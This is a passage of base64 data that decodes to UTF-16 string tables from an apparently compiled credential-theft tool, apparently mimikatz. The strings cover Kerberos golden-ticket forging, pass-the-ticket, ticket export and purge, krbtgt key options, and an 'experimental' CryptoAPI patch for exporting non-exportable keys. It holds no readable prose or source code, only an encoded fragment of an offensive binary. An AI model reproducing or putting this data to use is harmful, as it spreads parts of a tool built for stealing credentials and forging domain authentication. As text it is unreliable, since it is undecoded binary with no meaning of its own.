AAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAABwAHQAdAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAGwAaQBzAHQAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAdABnAHQAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAHAAdQByAGcAZQAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAZwBvAGwAZABlAG4AAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAHAAdABjAAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABjAGwAaQBzAHQAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAAawBlAHIAYgBlAHIAbwBzAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAAAAAAJQAzAHUAIAAtACAARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnACAAKAAqAC4AawBpAHIAYgBpACkACgAAAFwAKgAuAGsAaQByAGIAaQAAAAAAXAAAACAAIAAgACUAMwB1ACAALQAgAEYAaQBsAGUAIAAnACUAcwAnACAAOgAgAAAAJQAzAHUAIAAtACAARgBpAGwAZQAgACcAJQBzACcAIAA6ACAAAAAAAE8ASwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAEwAcwBhAEMAYQBsAGwASwBlAHIAYgBlAHIAbwBzAFAAYQBjAGsAYQBnAGUAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAVABpAGMAawBlAHQAKABzACkAIABwAHUAcgBnAGUAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAaQBzACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAoACgAJACoAKgAgAFMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAGkAcwAgAE4AVQBMAEwAIQAgAEkAdAAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAIAAqACoACgAAAAAAbgBvACAAdABpAGMAawBlAHQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAoAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAgADsAIAAAAAoAIAAgACAAUwBlAHIAdgBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAACgAgACAAIABGAGwAYQBnAHMAIAAlADAAOAB4ACAAIAAgACAAOgAgAAAAAABrAGkAcgBiAGkAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAdQBzAGUAcgAAAAAAZABvAG0AYQBpAG4AAAAAAGQAZQBzAAAAcgBjADQAAABrAHIAYgB0AGcAdAAAAAAAYQBlAHMAMQAyADgAAAAAAGEAZQBzADIANQA2AAAAAABzAGUAcgB2AGkAYwBlAAAAdABhAHIAZwBlAHQAAAAAAGkAZAAAAAAAcgBvAGQAYwAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAADAAAABzAHQAYQByAHQAbwBmAGYAcwBlAHQAAAA1ADIANQA2ADAAMAAwAAAAZQBuAGQAaQBuAAAAcgBlAG4AZQB3AG0AYQB4AAAAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQBzAAoARABvAG0AYQBpAG4AIAAgACAAIAA6ACAAJQBzAAoAUwBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVQBzAGUAcgAgAEkAZAAgACAAIAA6ACAAJQB1AAoAAAAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAA8ADMAIABlAG8ALgBvAGUAIAB+ACAAQQBOAFMAUwBJACAARQA+AAAAIAAqACAAUABBAEMAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgBfAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AYwByAHkAcAB0ACAAJQAwADgAeAAKAAAACQAqACAAJQBzACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhACAAOwAgAEgAYQBzAGgAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAYwBvAHUAbgB0AAAAWAAtAEMAQQBDAEgARQBDAE8ATgBGADoAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAKAAoARABhAHQAYQAgACUAdQAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAJQB1AC0AJQAwADgAeAAuACUAcwAAAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGEAbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAKAAkAIAAgACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAACgAJACAAIAAgACAAIAAAAAAAAAAKAAkAIAAgACAAVABpAGMAawBlAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAgADsAIABrAHYAbgBvACAAPQAgACUAdQAAAAAACQBbAC4ALgAuAF0AAAAAAG4AYQBtAGUAXwBjAGEAbgBvAG4AaQBjAGEAbABpAHoAZQAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaQBuAGkAdABpAGEAbAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAaQBuAHYAYQBsAGkAZAAAAHAAbwBzAHQAZABhAHQAZQBkAAAAbQBhAHkAXwBwAG8AcwB0AGQAYQB0AGUAAAAAAHAAcgBvAHgAeQAAAHAAcgBvAHgAaQBhAGIAbABlAAAAZgBvAHIAdwBhAHIAZABlAGQAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHMAdABhAHQAdQBzAAAAAABzAGkAbgBnAGwAZQAAAAAAbwBmAGYAAAB0AGUAcwB0AAAAAABiAHUAcwB5AGwAaQBnAGgAdAAAAEIAdQBzAHkATABpAGcAaAB0ACAATQBvAGQAdQBsAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AbwBmAGYAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAAAASQBOAFAAVQBUAEUAVgBFAE4AVAAAAAAATABJAEcASABUAAAAUwBPAFUATgBEAAAASgBJAE4ARwBMAEUAXwBDAEwASQBQAFMAAAAAAEIAdQBzAHkATABpAGcAaAB0ACAAZABlAHQAZQBjAHQAZQBkAAoAAAAAAAAACgBbACUAMwB1AF0AIAAlAHMACgAgACAAVgBlAG4AZABvAHIAOgAgADAAeAAlADAANAB4ACwAIABQAHIAbwBkAHUAYwB0ADoAIAAwAHgAJQAwADQAeAAsACAAVgBlAHIAcwBpAG8AbgA6ACAAMAB4ACUAMAA0AHgACgAgACAARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIAAgADoAIAAlAHMACgAgACAAQwBhAHAAYQBiAGkAbABpAHQAaQBlAHMAIAAgADoAIAAwAHgAJQAwADIAeAAgACgAIAAAACUAcwAsACAAAAAAACkACgAAAAAAIAAgAEQAZQB2AGkAYwBlACAASABhAG4AZABsAGUAOgAgADAAeAAlAHAACgAAAAAAIAAgACAAIABTAHQAYQB0AHUAcwAgACAAIAAgACAAOgAgADAAeAAlADAAMgB4AAoAAAAAACAAIAAgACAAUAByAG8AZAB1AGMAdABJAGQAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABDAG8AcwB0AHUAbQBlAHIASQBkACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AbwBkAGUAbAAgACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAUwBlAHIAaQBhAGwAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABNAGYAZwBfAEkARAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ARABhAHQAZQAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAcwB3AHIAZQBsAGUAYQBzAGUAIAAgADoAIAAlAFMACgAAAAAAIAAgAEsAZQBlAHAAQQBsAGkAdgBlACAAVABoAHIAZQBhAGQAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAIAAgAFcAbwByAGsAZQByACAAVABoAHIAZQBhAGQAIAAgACAAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAWwAlADMAdQBdACAAJQBzACAAKAAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBsAGkAcwB0ACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABzAG8AdQBuAGQAAABjAG8AbABvAHIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHAAcgBvAHYAaQBkAGUAcgBzAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABwAHIAbwB2AGkAZABlAHIAcwAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAEgAYQBzAGgAIABhACAAcABhAHMAcwB3AG8AcgBkACAAdwBpAHQAaAAgAG8AcAB0AGkAbwBuAGEAbAAgAHUAcwBlAHIAbgBhAG0AZQAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwByAHkAcAB0AG8AQQBQAEkAIABsAGEAeQBlAHIAIABmAG8AcgAgAGUAYQBzAHkAIABlAHgAcABvAHIAdAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAHIAeQBwAHQAbwAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAHIAcwBhAGUAbgBoAAAAAABDUEV4cG9ydEtleQBuAGMAcgB5AHAAdAAAAAAATkNyeXB0T3BlblN0b3JhZ2VQcm92aWRlcgAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0SW1wb3J0S2V5AE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdFNldFByb3BlcnR5AAAATkNyeXB0RnJlZUJ1ZmZlcgAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAEJDcnlwdEVudW1SZWdpc3RlcmVkUHJvdmlkZXJzAAAAQkNyeXB0RnJlZUJ1ZmZlcgAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAlADIAdQAuACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQgBDAHIAeQBwAHQARQBuAHUAbQBSAGUAZwBpAHMAdABlAHIAZQBkAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAABDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5